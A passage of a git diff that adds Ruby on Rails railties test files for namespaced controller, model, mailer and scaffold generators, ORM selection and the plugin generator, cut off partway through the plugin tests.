+    assert_name g, "users",       :table_name
+    assert_name g, "Admin::Foos", :controller_name
+    assert_name g, %w(admin),     :controller_class_path
+    assert_name g, "Admin::Foos", :controller_class_name
+    assert_name g, "admin/foos",  :controller_file_path
+    assert_name g, "foos",        :controller_file_name
+    assert_name g, "admin.foos",  :controller_i18n_scope
+  end
+
+  private
+
+    def assert_name(generator, value, method)
+      assert_equal value, generator.send(method)
+    end
+end
diff --git a/railties/test/generators/namespaced_generators_test.rb b/railties/test/generators/namespaced_generators_test.rb
new file mode 100644
index 0000000000..9315a1b9da
--- /dev/null
+++ b/railties/test/generators/namespaced_generators_test.rb
@@ -0,0 +1,434 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/controller/controller_generator"
+require "rails/generators/rails/model/model_generator"
+require "rails/generators/mailer/mailer_generator"
+require "rails/generators/rails/scaffold/scaffold_generator"
+require "rails/generators/rails/application_record/application_record_generator"
+
+class NamespacedGeneratorTestCase < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  def setup
+    super
+    Rails::Generators.namespace = TestApp
+  end
+end
+
+class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
+  arguments %w(Account foo bar)
+  tests Rails::Generators::ControllerGenerator
+
+  setup :copy_routes
+
+  def test_namespaced_controller_skeleton_is_created
+    run_generator
+    assert_file "app/controllers/test_app/account_controller.rb",
+                /require_dependency "test_app\/application_controller"/,
+                /module TestApp/,
+                /  class AccountController < ApplicationController/
+
+    assert_file "test/controllers/test_app/account_controller_test.rb",
+                /module TestApp/,
+                /  class AccountControllerTest/
+  end
+
+  def test_skipping_namespace
+    run_generator ["Account", "--skip-namespace"]
+    assert_file "app/controllers/account_controller.rb", /class AccountController < ApplicationController/
+    assert_file "app/helpers/account_helper.rb", /module AccountHelper/
+  end
+
+  def test_namespaced_controller_with_additional_namespace
+    run_generator ["admin/account"]
+    assert_file "app/controllers/test_app/admin/account_controller.rb", /module TestApp/, /  class Admin::AccountController < ApplicationController/ do |contents|
+      assert_match %r(require_dependency "test_app/application_controller"), contents
+    end
+  end
+
+  def test_helper_is_also_namespaced
+    run_generator
+    assert_file "app/helpers/test_app/account_helper.rb", /module TestApp/, /  module AccountHelper/
+  end
+
+  def test_invokes_default_test_framework
+    run_generator
+    assert_file "test/controllers/test_app/account_controller_test.rb"
+  end
+
+  def test_invokes_default_template_engine
+    run_generator
+    assert_file "app/views/test_app/account/foo.html.erb", %r(app/views/test_app/account/foo\.html\.erb)
+    assert_file "app/views/test_app/account/bar.html.erb", %r(app/views/test_app/account/bar\.html\.erb)
+  end
+
+  def test_routes_should_not_be_namespaced
+    run_generator
+    assert_file "config/routes.rb", /get 'account\/foo'/, /get 'account\/bar'/
+  end
+
+  def test_invokes_default_template_engine_even_with_no_action
+    run_generator ["account"]
+    assert_file "app/views/test_app/account"
+  end
+
+  def test_namespaced_controller_dont_indent_blank_lines
+    run_generator
+    assert_file "app/controllers/test_app/account_controller.rb" do |content|
+      content.split("\n").each do |line|
+        assert_no_match(/^\s+$/, line, "Don't indent blank lines")
+      end
+    end
+  end
+end
+
+class NamespacedModelGeneratorTest < NamespacedGeneratorTestCase
+  arguments %w(Account name:string age:integer)
+  tests Rails::Generators::ModelGenerator
+
+  def test_module_file_is_not_created
+    run_generator
+    assert_no_file "app/models/test_app.rb"
+  end
+
+  def test_adds_namespace_to_model
+    run_generator
+    assert_file "app/models/test_app/account.rb", /module TestApp/, /  class Account < ApplicationRecord/
+  end
+
+  def test_model_with_namespace
+    run_generator ["admin/account"]
+    assert_file "app/models/test_app/admin.rb", /module TestApp/, /module Admin/
+    assert_file "app/models/test_app/admin.rb", /def self\.table_name_prefix/
+    assert_file "app/models/test_app/admin.rb", /'test_app_admin_'/
+    assert_file "app/models/test_app/admin/account.rb", /module TestApp/, /class Admin::Account < ApplicationRecord/
+  end
+
+  def test_migration
+    run_generator
+    assert_migration "db/migrate/create_test_app_accounts.rb", /create_table :test_app_accounts/, /class CreateTestAppAccounts < ActiveRecord::Migration\[[0-9.]+\]/
+  end
+
+  def test_migration_with_namespace
+    run_generator ["Gallery::Image"]
+    assert_migration "db/migrate/create_test_app_gallery_images", /class CreateTestAppGalleryImages < ActiveRecord::Migration\[[0-9.]+\]/
+    assert_no_migration "db/migrate/create_test_app_images"
+  end
+
+  def test_migration_with_nested_namespace
+    run_generator ["Admin::Gallery::Image"]
+    assert_no_migration "db/migrate/create_images"
+    assert_no_migration "db/migrate/create_gallery_images"
+    assert_migration "db/migrate/create_test_app_admin_gallery_images", /class CreateTestAppAdminGalleryImages < ActiveRecord::Migration\[[0-9.]+\]/
+    assert_migration "db/migrate/create_test_app_admin_gallery_images", /create_table :test_app_admin_gallery_images/
+  end
+
+  def test_migration_with_nested_namespace_without_pluralization
+    ActiveRecord::Base.pluralize_table_names = false
+    run_generator ["Admin::Gallery::Image"]
+    assert_no_migration "db/migrate/create_images"
+    assert_no_migration "db/migrate/create_gallery_images"
+    assert_no_migration "db/migrate/create_test_app_admin_gallery_images"
+    assert_migration "db/migrate/create_test_app_admin_gallery_image", /class CreateTestAppAdminGalleryImage < ActiveRecord::Migration\[[0-9.]+\]/
+    assert_migration "db/migrate/create_test_app_admin_gallery_image", /create_table :test_app_admin_gallery_image/
+  ensure
+    ActiveRecord::Base.pluralize_table_names = true
+  end
+
+  def test_invokes_default_test_framework
+    run_generator
+    assert_file "test/models/test_app/account_test.rb", /module TestApp/, /class AccountTest < ActiveSupport::TestCase/
+    assert_file "test/fixtures/test_app/accounts.yml", /name: MyString/, /age: 1/
+  end
+end
+
+class NamespacedMailerGeneratorTest < NamespacedGeneratorTestCase
+  arguments %w(notifier foo bar)
+  tests Rails::Generators::MailerGenerator
+
+  def test_mailer_skeleton_is_created
+    run_generator
+    assert_file "app/mailers/test_app/notifier_mailer.rb" do |mailer|
+      assert_match(/module TestApp/, mailer)
+      assert_match(/class NotifierMailer < ApplicationMailer/, mailer)
+      assert_no_match(/default from: "from@example.com"/, mailer)
+    end
+  end
+
+  def test_mailer_with_i18n_helper
+    run_generator
+    assert_file "app/mailers/test_app/notifier_mailer.rb" do |mailer|
+      assert_match(/en\.notifier_mailer\.foo\.subject/, mailer)
+      assert_match(/en\.notifier_mailer\.bar\.subject/, mailer)
+    end
+  end
+
+  def test_invokes_default_test_framework
+    run_generator
+    assert_file "test/mailers/test_app/notifier_mailer_test.rb" do |test|
+      assert_match(/module TestApp/, test)
+      assert_match(/class NotifierMailerTest < ActionMailer::TestCase/, test)
+      assert_match(/test "foo"/, test)
+      assert_match(/test "bar"/, test)
+    end
+  end
+
+  def test_invokes_default_template_engine
+    run_generator
+    assert_file "app/views/test_app/notifier_mailer/foo.text.erb" do |view|
+      assert_match(%r(app/views/test_app/notifier_mailer/foo\.text\.erb), view)
+      assert_match(/<%= @greeting %>/, view)
+    end
+
+    assert_file "app/views/test_app/notifier_mailer/bar.text.erb" do |view|
+      assert_match(%r(app/views/test_app/notifier_mailer/bar\.text\.erb), view)
+      assert_match(/<%= @greeting %>/, view)
+    end
+  end
+
+  def test_invokes_default_template_engine_even_with_no_action
+    run_generator ["notifier"]
+    assert_file "app/views/test_app/notifier_mailer"
+  end
+end
+
+class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase
+  include GeneratorsTestHelper
+  arguments %w(product_line title:string price:integer)
+  tests Rails::Generators::ScaffoldGenerator
+
+  setup :copy_routes
+
+  def test_scaffold_on_invoke
+    run_generator
+
+    # Model
+    assert_file "app/models/test_app/product_line.rb", /module TestApp\n  class ProductLine < ApplicationRecord/
+    assert_file "test/models/test_app/product_line_test.rb", /module TestApp\n  class ProductLineTest < ActiveSupport::TestCase/
+    assert_file "test/fixtures/test_app/product_lines.yml"
+    assert_migration "db/migrate/create_test_app_product_lines.rb"
+
+    # Route
+    assert_file "config/routes.rb" do |route|
+      assert_match(/resources :product_lines$/, route)
+    end
+
+    # Controller
+    assert_file "app/controllers/test_app/product_lines_controller.rb",
+                /require_dependency "test_app\/application_controller"/,
+                /module TestApp/,
+                /class ProductLinesController < ApplicationController/
+
+    assert_file "test/controllers/test_app/product_lines_controller_test.rb",
+                /module TestApp\n  class ProductLinesControllerTest < ActionDispatch::IntegrationTest/
+
+    # Views
+    %w(index edit new show _form).each do |view|
+      assert_file "app/views/test_app/product_lines/#{view}.html.erb"
+    end
+    assert_no_file "app/views/layouts/test_app/product_lines.html.erb"
+
+    # Helpers
+    assert_file "app/helpers/test_app/product_lines_helper.rb"
+
+    # Stylesheets
+    assert_file "app/assets/stylesheets/scaffold.css"
+  end
+
+  def test_scaffold_on_revoke
+    run_generator
+    run_generator ["product_line"], behavior: :revoke
+
+    # Model
+    assert_no_file "app/models/test_app/product_line.rb"
+    assert_no_file "test/models/test_app/product_line_test.rb"
+    assert_no_file "test/fixtures/test_app/product_lines.yml"
+    assert_no_migration "db/migrate/create_test_app_product_lines.rb"
+
+    # Route
+    assert_file "config/routes.rb" do |route|
+      assert_no_match(/resources :product_lines$/, route)
+    end
+
+    # Controller
+    assert_no_file "app/controllers/test_app/product_lines_controller.rb"
+    assert_no_file "test/controllers/test_app/product_lines_controller_test.rb"
+
+    # Views
+    assert_no_file "app/views/test_app/product_lines"
+    assert_no_file "app/views/test_app/layouts/product_lines.html.erb"
+
+    # Helpers
+    assert_no_file "app/helpers/test_app/product_lines_helper.rb"
+
+    # Stylesheets (should not be removed)
+    assert_file "app/assets/stylesheets/scaffold.css"
+  end
+
+  def test_scaffold_with_namespace_on_invoke
+    run_generator [ "admin/role", "name:string", "description:string" ]
+
+    # Model
+    assert_file "app/models/test_app/admin.rb", /module TestApp\n  module Admin/
+    assert_file "app/models/test_app/admin/role.rb", /module TestApp\n  class Admin::Role < ApplicationRecord/
+    assert_file "test/models/test_app/admin/role_test.rb", /module TestApp\n  class Admin::RoleTest < ActiveSupport::TestCase/
+    assert_file "test/fixtures/test_app/admin/roles.yml"
+    assert_migration "db/migrate/create_test_app_admin_roles.rb"
+
+    # Route
+    assert_file "config/routes.rb" do |route|
+      assert_match(/^  namespace :admin do\n    resources :roles\n  end$/, route)
+    end
+
+    # Controller
+    assert_file "app/controllers/test_app/admin/roles_controller.rb" do |content|
+      assert_match(/module TestApp\n  class Admin::RolesController < ApplicationController/, content)
+      assert_match(%r(require_dependency "test_app/application_controller"), content)
+    end
+
+    assert_file "test/controllers/test_app/admin/roles_controller_test.rb",
+                /module TestApp\n  class Admin::RolesControllerTest < ActionDispatch::IntegrationTest/
+
+    # Views
+    %w(index edit new show _form).each do |view|
+      assert_file "app/views/test_app/admin/roles/#{view}.html.erb"
+    end
+    assert_no_file "app/views/layouts/admin/roles.html.erb"
+
+    # Helpers
+    assert_file "app/helpers/test_app/admin/roles_helper.rb"
+
+    # Stylesheets
+    assert_file "app/assets/stylesheets/scaffold.css"
+  end
+
+  def test_scaffold_with_namespace_on_revoke
+    run_generator [ "admin/role", "name:string", "description:string" ]
+    run_generator [ "admin/role" ], behavior: :revoke
+
+    # Model
+    assert_file "app/models/test_app/admin.rb"	# ( should not be remove )
+    assert_no_file "app/models/test_app/admin/role.rb"
+    assert_no_file "test/models/test_app/admin/role_test.rb"
+    assert_no_file "test/fixtures/test_app/admin/roles.yml"
+    assert_no_migration "db/migrate/create_test_app_admin_roles.rb"
+
+    # Route
+    assert_file "config/routes.rb" do |route|
+      assert_no_match(/^  namespace :admin do\n    resources :roles\n  end$$/, route)
+    end
+
+    # Controller
+    assert_no_file "app/controllers/test_app/admin/roles_controller.rb"
+    assert_no_file "test/controllers/test_app/admin/roles_controller_test.rb"
+
+    # Views
+    assert_no_file "app/views/test_app/admin/roles"
+    assert_no_file "app/views/layouts/test_app/admin/roles.html.erb"
+
+    # Helpers
+    assert_no_file "app/helpers/test_app/admin/roles_helper.rb"
+
+    # Stylesheets (should not be removed)
+    assert_file "app/assets/stylesheets/scaffold.css"
+  end
+
+  def test_scaffold_with_nested_namespace_on_invoke
+    run_generator [ "admin/user/special/role", "name:string", "description:string" ]
+
+    # Model
+    assert_file "app/models/test_app/admin/user/special.rb", /module TestApp\n  module Admin/
+    assert_file "app/models/test_app/admin/user/special/role.rb", /module TestApp\n  class Admin::User::Special::Role < ApplicationRecord/
+    assert_file "test/models/test_app/admin/user/special/role_test.rb", /module TestApp\n  class Admin::User::Special::RoleTest < ActiveSupport::TestCase/
+    assert_file "test/fixtures/test_app/admin/user/special/roles.yml"
+    assert_migration "db/migrate/create_test_app_admin_user_special_roles.rb"
+
+    # Route
+    assert_file "config/routes.rb" do |route|
+      assert_match(/^  namespace :admin do\n    namespace :user do\n      namespace :special do\n        resources :roles\n      end\n    end\n  end$/, route)
+    end
+
+    # Controller
+    assert_file "app/controllers/test_app/admin/user/special/roles_controller.rb" do |content|
+      assert_match(/module TestApp\n  class Admin::User::Special::RolesController < ApplicationController/, content)
+    end
+
+    assert_file "test/controllers/test_app/admin/user/special/roles_controller_test.rb",
+                /module TestApp\n  class Admin::User::Special::RolesControllerTest < ActionDispatch::IntegrationTest/
+
+    # Views
+    %w(index edit new show _form).each do |view|
+      assert_file "app/views/test_app/admin/user/special/roles/#{view}.html.erb"
+    end
+    assert_no_file "app/views/layouts/admin/user/special/roles.html.erb"
+
+    # Helpers
+    assert_file "app/helpers/test_app/admin/user/special/roles_helper.rb"
+
+    # Stylesheets
+    assert_file "app/assets/stylesheets/scaffold.css"
+  end
+
+  def test_scaffold_with_nested_namespace_on_revoke
+    run_generator [ "admin/user/special/role", "name:string", "description:string" ]
+    run_generator [ "admin/user/special/role" ], behavior: :revoke
+
+    # Model
+    assert_file "app/models/test_app/admin/user/special.rb"	# ( should not be remove )
+    assert_no_file "app/models/test_app/admin/user/special/role.rb"
+    assert_no_file "test/models/test_app/admin/user/special/role_test.rb"
+    assert_no_file "test/fixtures/test_app/admin/user/special/roles.yml"
+    assert_no_migration "db/migrate/create_test_app_admin_user_special_roles.rb"
+
+    # Route
+    assert_file "config/routes.rb" do |route|
+      assert_no_match(/^  namespace :admin do\n    namespace :user do\n      namespace :special do\n        resources :roles\n      end\n    end\n  end$/, route)
+    end
+
+    # Controller
+    assert_no_file "app/controllers/test_app/admin/user/special/roles_controller.rb"
+    assert_no_file "test/controllers/test_app/admin/user/special/roles_controller_test.rb"
+
+    # Views
+    assert_no_file "app/views/test_app/admin/user/special/roles"
+
+    # Helpers
+    assert_no_file "app/helpers/test_app/admin/user/special/roles_helper.rb"
+
+    # Stylesheets (should not be removed)
+    assert_file "app/assets/stylesheets/scaffold.css"
+  end
+
+  def test_api_scaffold_with_namespace_on_invoke
+    run_generator [ "admin/role", "name:string", "description:string", "--api" ]
+
+    # Model
+    assert_file "app/models/test_app/admin.rb", /module TestApp\n  module Admin/
+    assert_file "app/models/test_app/admin/role.rb", /module TestApp\n  class Admin::Role < ApplicationRecord/
+    assert_file "test/models/test_app/admin/role_test.rb", /module TestApp\n  class Admin::RoleTest < ActiveSupport::TestCase/
+    assert_file "test/fixtures/test_app/admin/roles.yml"
+    assert_migration "db/migrate/create_test_app_admin_roles.rb"
+
+    # Route
+    assert_file "config/routes.rb" do |route|
+      assert_match(/^  namespace :admin do\n    resources :roles\n  end$/, route)
+    end
+
+    # Controller
+    assert_file "app/controllers/test_app/admin/roles_controller.rb" do |content|
+      assert_match(/module TestApp\n  class Admin::RolesController < ApplicationController/, content)
+      assert_match(%r(require_dependency "test_app/application_controller"), content)
+    end
+    assert_file "test/controllers/test_app/admin/roles_controller_test.rb",
+                /module TestApp\n  class Admin::RolesControllerTest < ActionDispatch::IntegrationTest/
+  end
+end
+
+class NamespacedApplicationRecordGeneratorTest < NamespacedGeneratorTestCase
+  include GeneratorsTestHelper
+  tests Rails::Generators::ApplicationRecordGenerator
+
+  def test_adds_namespace_to_application_record
+    run_generator
+    assert_file "app/models/test_app/application_record.rb", /module TestApp/, /  class ApplicationRecord < ActiveRecord::Base/
+  end
+end
diff --git a/railties/test/generators/orm_test.rb b/railties/test/generators/orm_test.rb
new file mode 100644
index 0000000000..88ae930554
--- /dev/null
+++ b/railties/test/generators/orm_test.rb
@@ -0,0 +1,38 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/scaffold_controller/scaffold_controller_generator"
+
+# Mock out two ORMs
+module ORMWithGenerators
+  module Generators
+    class ActiveModel
+      def initialize(name)
+      end
+    end
+  end
+end
+
+module ORMWithoutGenerators
+  # No generators
+end
+
+class OrmTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  tests Rails::Generators::ScaffoldControllerGenerator
+
+  def test_orm_class_returns_custom_generator_if_supported_custom_orm_set
+    g = generator ["Foo"], orm: "ORMWithGenerators"
+    assert_equal ORMWithGenerators::Generators::ActiveModel, g.send(:orm_class)
+  end
+
+  def test_orm_class_returns_rails_generator_if_unsupported_custom_orm_set
+    g = generator ["Foo"], orm: "ORMWithoutGenerators"
+    assert_equal Rails::Generators::ActiveModel, g.send(:orm_class)
+  end
+
+  def test_orm_instance_returns_orm_class_instance_with_name
+    g = generator ["Foo"]
+    orm_instance = g.send(:orm_instance)
+    assert g.send(:orm_class) === orm_instance
+    assert_equal "foo", orm_instance.name
+  end
+end
diff --git a/railties/test/generators/plugin_generator_test.rb b/railties/test/generators/plugin_generator_test.rb
new file mode 100644
index 0000000000..e8372dea47
--- /dev/null
+++ b/railties/test/generators/plugin_generator_test.rb
@@ -0,0 +1,772 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/plugin/plugin_generator"
+require "generators/shared_generator_tests"
+require "rails/engine/updater"
+
+DEFAULT_PLUGIN_FILES = %w(
+  .gitignore
+  Gemfile
+  Rakefile
+  README.md
+  bukkits.gemspec
+  MIT-LICENSE
+  lib
+  lib/bukkits.rb
+  lib/tasks/bukkits_tasks.rake
+  lib/bukkits/version.rb
+  test/bukkits_test.rb
+  test/test_helper.rb
+  test/dummy
+)
+
+class PluginGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  destination File.join(Rails.root, "tmp/bukkits")
+  arguments [destination_root]
+
+  # brings setup, teardown, and some tests
+  include SharedGeneratorTests
+
+  def test_invalid_plugin_name_raises_an_error
+    content = capture(:stderr) { run_generator [File.join(destination_root, "my_plugin-31fr-extension")] }
+    assert_equal "Invalid plugin name my_plugin-31fr-extension. Please give a name which does not contain a namespace starting with numeric characters.\n", content
+
+    content = capture(:stderr) { run_generator [File.join(destination_root, "things4.3")] }
+    assert_equal "Invalid plugin name things4.3. Please give a name which uses only alphabetic, numeric, \"_\" or \"-\" characters.\n", content
+
+    content = capture(:stderr) { run_generator [File.join(destination_root, "43things")] }
+    assert_equal "Invalid plugin name 43things. Please give a name which does not start with numbers.\n", content
+
+    content = capture(:stderr) { run_generator [File.join(destination_root, "plugin")] }
+    assert_equal "Invalid plugin name plugin. Please give a name which does not match one of the reserved rails words: application, destroy, plugin, runner, test\n", content
+
+    content = capture(:stderr) { run_generator [File.join(destination_root, "Digest")] }
+    assert_equal "Invalid plugin name Digest, constant Digest is already in use. Please choose another plugin name.\n", content
+  end
+
+  def test_correct_file_in_lib_folder_of_hyphenated_plugin_name
+    run_generator [File.join(destination_root, "hyphenated-name")]
+    assert_no_file "hyphenated-name/lib/hyphenated-name.rb"
+    assert_no_file "hyphenated-name/lib/hyphenated_name.rb"
+    assert_file "hyphenated-name/lib/hyphenated/name.rb", /module Hyphenated\n  module Name\n    # Your code goes here\.\.\.\n  end\nend/
+  end
+
+  def test_correct_file_in_lib_folder_of_camelcase_plugin_name
+    run_generator [File.join(destination_root, "CamelCasedName")]
+    assert_no_file "CamelCasedName/lib/CamelCasedName.rb"
+    assert_file "CamelCasedName/lib/camel_cased_name.rb", /module CamelCasedName/
+  end
+
+  def test_generating_without_options
+    run_generator
+    assert_file "README.md", /Bukkits/
+    assert_no_file "config/routes.rb"
+    assert_no_file "app/assets/config/bukkits_manifest.js"
+    assert_file "test/test_helper.rb" do |content|
+      assert_match(/require_relative.+test\/dummy\/config\/environment/, content)
+      assert_match(/ActiveRecord::Migrator\.migrations_paths.+test\/dummy\/db\/migrate/, content)
+      assert_match(/Minitest\.backtrace_filter = Minitest::BacktraceFilter\.new/, content)
+      assert_match(/Rails::TestUnitReporter\.executable = 'bin\/test'/, content)
+    end
+    assert_file "lib/bukkits/railtie.rb", /module Bukkits\n  class Railtie < ::Rails::Railtie\n  end\nend/
+    assert_file "lib/bukkits.rb", /require "bukkits\/railtie"/
+    assert_file "test/bukkits_test.rb", /assert_kind_of Module, Bukkits/
+    assert_file "bin/test"
+    assert_no_file "bin/rails"
+  end
+
+  def test_generating_test_files_in_full_mode
+    run_generator [destination_root, "--full"]
+    assert_directory "test/integration/"
+
+    assert_file "test/integration/navigation_test.rb", /ActionDispatch::IntegrationTest/
+  end
+
+  def test_inclusion_of_a_debugger
+    run_generator [destination_root, "--full"]
+    if defined?(JRUBY_VERSION) || RUBY_ENGINE == "rbx"
+      assert_file "Gemfile" do |content|
+        assert_no_match(/byebug/, content)
+      end
+    else
+      assert_file "Gemfile", /# gem 'byebug'/
+    end
+  end
+
+  def test_generating_test_files_in_full_mode_without_unit_test_files
+    run_generator [destination_root, "-T", "--full"]
+
+    assert_no_directory "test/integration/"
+    assert_no_file "test"
+    assert_file "Rakefile" do |contents|
+      assert_no_match(/APP_RAKEFILE/, contents)
+    end
+  end
+
+  def test_generating_adds_dummy_app_in_full_mode_without_sprockets
+    run_generator [destination_root, "-S", "--full"]
+
+    assert_file "test/dummy/config/environments/production.rb" do |contents|
+      assert_no_match(/config\.assets/, contents)
+    end
+  end
+
+  def test_generating_adds_dummy_app_rake_tasks_without_unit_test_files
+    run_generator [destination_root, "-T", "--mountable", "--dummy-path", "my_dummy_app"]
+    assert_file "Rakefile", /APP_RAKEFILE/
+  end
+
+  def test_generating_adds_dummy_app_without_javascript_and_assets_deps
+    run_generator
+
+    assert_file "test/dummy/app/assets/stylesheets/application.css"
+
+    assert_file "test/dummy/app/assets/javascripts/application.js" do |contents|
+      assert_no_match(/jquery/, contents)
+    end
+  end
+
+  def test_ensure_that_plugin_options_are_not_passed_to_app_generator
+    FileUtils.cd(Rails.root)
+    assert_no_match(/It works from file!.*It works_from_file/, run_generator([destination_root, "-m", "lib/template.rb"]))
+  end
+
+  def test_ensure_that_test_dummy_can_be_generated_from_a_template
+    FileUtils.cd(Rails.root)
+    run_generator([destination_root, "-m", "lib/create_test_dummy_template.rb", "--skip-test"])
+    assert_file "spec/dummy"
+    assert_no_file "test"
+  end
+
+  def test_database_entry_is_generated_for_sqlite3_by_default_in_full_mode
+    run_generator([destination_root, "--full"])
+    assert_file "test/dummy/config/database.yml", /sqlite/
+    assert_file "bukkits.gemspec", /sqlite3/
+  end
+
+  def test_config_another_database
+    run_generator([destination_root, "-d", "mysql", "--full"])
+    assert_file "test/dummy/config/database.yml", /mysql/
+    assert_file "bukkits.gemspec", /mysql/
+  end
+
+  def test_dont_generate_development_dependency
+    run_generator [destination_root, "--skip-active-record"]
+
+    assert_file "bukkits.gemspec" do |contents|
+      assert_no_match(/s\.add_development_dependency "sqlite3"/, contents)
+    end
+  end
+
+  def test_app_generator_without_skips
+    run_generator
+    assert_file "test/dummy/config/application.rb", /\s+require\s+["']rails\/all["']/
+    assert_file "test/dummy/config/environments/development.rb" do |content|
+      assert_match(/config\.action_mailer\.raise_delivery_errors = false/, content)
+    end
+    assert_file "test/dummy/config/environments/test.rb" do |content|
+      assert_match(/config\.action_mailer\.delivery_method = :test/, content)
+    end
+    assert_file "test/dummy/config/environments/production.rb" do |content|
+      assert_match(/# config\.action_mailer\.raise_delivery_errors = false/, content)
+    end
+  end
+
+  def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given
+    run_generator [destination_root, "--skip-active-record"]
+    assert_file "test/dummy/config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
+  end
+
+  def test_ensure_that_skip_active_record_option_is_passed_to_app_generator
+    run_generator [destination_root, "--skip_active_record"]
+    assert_no_file "test/dummy/config/database.yml"
+    assert_file "test/test_helper.rb" do |contents|
+      assert_no_match(/ActiveRecord/, contents)
+    end
+  end
+
+  def test_action_mailer_is_removed_from_frameworks_if_skip_action_mailer_is_given
+    run_generator [destination_root, "--skip-action-mailer"]
+    assert_file "test/dummy/config/application.rb", /#\s+require\s+["']action_mailer\/railtie["']/
+    assert_file "test/dummy/config/environments/development.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_file "test/dummy/config/environments/test.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_file "test/dummy/config/environments/production.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+  end
+
+  def test_ensure_that_database_option_is_passed_to_app_generator
+    run_generator [destination_root, "--database", "postgresql"]
+    assert_file "test/dummy/config/database.yml", /postgres/
+  end
+
+  def test_generation_runs_bundle_install
+    assert_generates_without_bundler
+  end
+
+  def test_dev_option
+    assert_generates_without_bundler(dev: true)
+    rails_path = File.expand_path("../../..", Rails.root)
+    assert_file "Gemfile", /^gem\s+["']rails["'],\s+path:\s+["']#{Regexp.escape(rails_path)}["']$/
+  end
+
+  def test_edge_option
+    assert_generates_without_bundler(edge: true)
+    assert_file "Gemfile", %r{^gem\s+["']rails["'],\s+github:\s+["']#{Regexp.escape("rails/rails")}["']$}
+  end
+
+  def test_generation_does_not_run_bundle_install_with_full_and_mountable
+    assert_generates_without_bundler(mountable: true, full: true, dev: true)
+    assert_no_file "#{destination_root}/Gemfile.lock"
+  end
+
+  def test_skipping_javascripts_without_mountable_option
+    run_generator
+    assert_no_file "app/assets/javascripts/bukkits/application.js"
+  end
+
+  def test_javascripts_generation
+    run_generator [destination_root, "--mountable"]
+    assert_file "app/assets/javascripts/bukkits/application.js"
+  end
+
+  def test_skip_javascripts
+    run_generator [destination_root, "--skip-javascript", "--mountable"]
+    assert_no_file "app/assets/javascripts/bukkits/application.js"
+  end
+
+  def test_template_from_dir_pwd
+    FileUtils.cd(Rails.root)
+    assert_match(/It works from file!/, run_generator([destination_root, "-m", "lib/template.rb"]))
+  end
+
+  def test_ensure_that_tests_work
+    run_generator
+    FileUtils.cd destination_root
+    quietly { system "bundle install" }
+    assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bin/test 2>&1`)
+  end
+
+  def test_ensure_that_tests_works_in_full_mode
+    run_generator [destination_root, "--full", "--skip_active_record"]
+    FileUtils.cd destination_root
+    quietly { system "bundle install" }
+    assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test 2>&1`)
+  end
+
+  def test_ensure_that_migration_tasks_work_with_mountable_option
+    run_generator [destination_root, "--mountable"]
+    FileUtils.cd destination_root
+    quietly { system "bundle install" }
+    output = `bin/rails db:migrate 2>&1`
+    assert $?.success?, "Command failed: #{output}"
+  end
+
+  def test_creating_engine_in_full_mode
+    run_generator [destination_root, "--full"]
+    assert_file "app/assets/javascripts/bukkits"
+    assert_file "app/assets/stylesheets/bukkits"
+    assert_file "app/assets/images/bukkits"
+    assert_file "app/models"
+    assert_file "app/controllers"
+    assert_file "app/views"
+    assert_file "app/helpers"
+    assert_file "app/mailers"
+    assert_file "bin/rails"
+    assert_file "config/routes.rb", /Rails.application.routes.draw do/
+    assert_file "lib/bukkits/engine.rb", /module Bukkits\n  class Engine < ::Rails::Engine\n  end\nend/
+    assert_file "lib/bukkits.rb", /require "bukkits\/engine"/
+  end
+
+  def test_creating_engine_with_hyphenated_name_in_full_mode
+    run_generator [File.join(destination_root, "hyphenated-name"), "--full"]
+    assert_file "hyphenated-name/app/assets/javascripts/hyphenated/name"
+    assert_file "hyphenated-name/app/assets/stylesheets/hyphenated/name"
+    assert_file "hyphenated-name/app/assets/images/hyphenated/name"
+    assert_file "hyphenated-name/app/models"
+    assert_file "hyphenated-name/app/controllers"
+    assert_file "hyphenated-name/app/views"
+    assert_file "hyphenated-name/app/helpers"
+    assert_file "hyphenated-name/app/mailers"
+    assert_file "hyphenated-name/bin/rails"
+    assert_file "hyphenated-name/config/routes.rb",              /Rails.application.routes.draw do/
+    assert_file "hyphenated-name/lib/hyphenated/name/engine.rb", /module Hyphenated\n  module Name\n    class Engine < ::Rails::Engine\n    end\n  end\nend/
+    assert_file "hyphenated-name/lib/hyphenated/name.rb",        /require "hyphenated\/name\/engine"/
+    assert_file "hyphenated-name/bin/rails",                     /\.\.\/lib\/hyphenated\/name\/engine/
+  end
+
+  def test_creating_engine_with_hyphenated_and_underscored_name_in_full_mode
+    run_generator [File.join(destination_root, "my_hyphenated-name"), "--full"]
+    assert_file "my_hyphenated-name/app/assets/javascripts/my_hyphenated/name"
+    assert_file "my_hyphenated-name/app/assets/stylesheets/my_hyphenated/name"
+    assert_file "my_hyphenated-name/app/assets/images/my_hyphenated/name"
+    assert_file "my_hyphenated-name/app/models"
+    assert_file "my_hyphenated-name/app/controllers"
+    assert_file "my_hyphenated-name/app/views"
+    assert_file "my_hyphenated-name/app/helpers"
+    assert_file "my_hyphenated-name/app/mailers"
+    assert_file "my_hyphenated-name/bin/rails"
+    assert_file "my_hyphenated-name/config/routes.rb",              /Rails\.application\.routes\.draw do/
+    assert_file "my_hyphenated-name/lib/my_hyphenated/name/engine.rb", /module MyHyphenated\n  module Name\n    class Engine < ::Rails::Engine\n    end\n  end\nend/
+    assert_file "my_hyphenated-name/lib/my_hyphenated/name.rb",        /require "my_hyphenated\/name\/engine"/
+    assert_file "my_hyphenated-name/bin/rails",                     /\.\.\/lib\/my_hyphenated\/name\/engine/
+  end
+
+  def test_being_quiet_while_creating_dummy_application
+    assert_no_match(/create\s+config\/application\.rb/, run_generator)
+  end
+
+  def test_create_mountable_application_with_mountable_option
+    run_generator [destination_root, "--mountable"]
+    assert_file "app/assets/javascripts/bukkits"
